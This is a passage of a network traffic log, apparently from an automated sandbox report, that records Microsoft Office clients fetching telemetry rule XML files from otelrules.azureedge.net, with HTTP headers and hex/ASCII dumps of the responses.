SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:11 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094811Z-r1cf579d778xq4f9hC1EWRx41g00000004r0000000004hd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7fa91f87-401e-0016-714c-4953e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094811Z-r1cf579d7789trgthC1EWRkkfc00000005mg000000003kqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094811Z-r1cf579d778x776bhC1EWRdk80000000053g000000000h85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:11 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094811Z-r1cf579d778d5zkmhC1EWRk6h800000005dg0000000033xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:11 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ae062067-b01e-003e-3448-498e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094811Z-r1cf579d778g2t6ghC1EWRfggs00000004fg000000000zzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:13 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094813Z-r1cf579d778w59f9hC1EWRze6w00000005ag000000000xub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:13 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094813Z-r1cf579d7789trgthC1EWRkkfc00000005t0000000000egs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:13 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:13 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094813Z-r1cf579d778t6txphC1EWRsd4400000005e00000000032kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:13 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:13 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:13 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094813Z-r1cf579d778d5zkmhC1EWRk6h800000005cg000000003hxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:13 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:13 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094813Z-r1cf579d778zvkpnhC1EWRv23g000000058g000000002awz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094815Z-r1cf579d778w59f9hC1EWRze6w000000055g0000000040kw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:15 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:15 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094815Z-r1cf579d778w59f9hC1EWRze6w00000005a00000000018d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
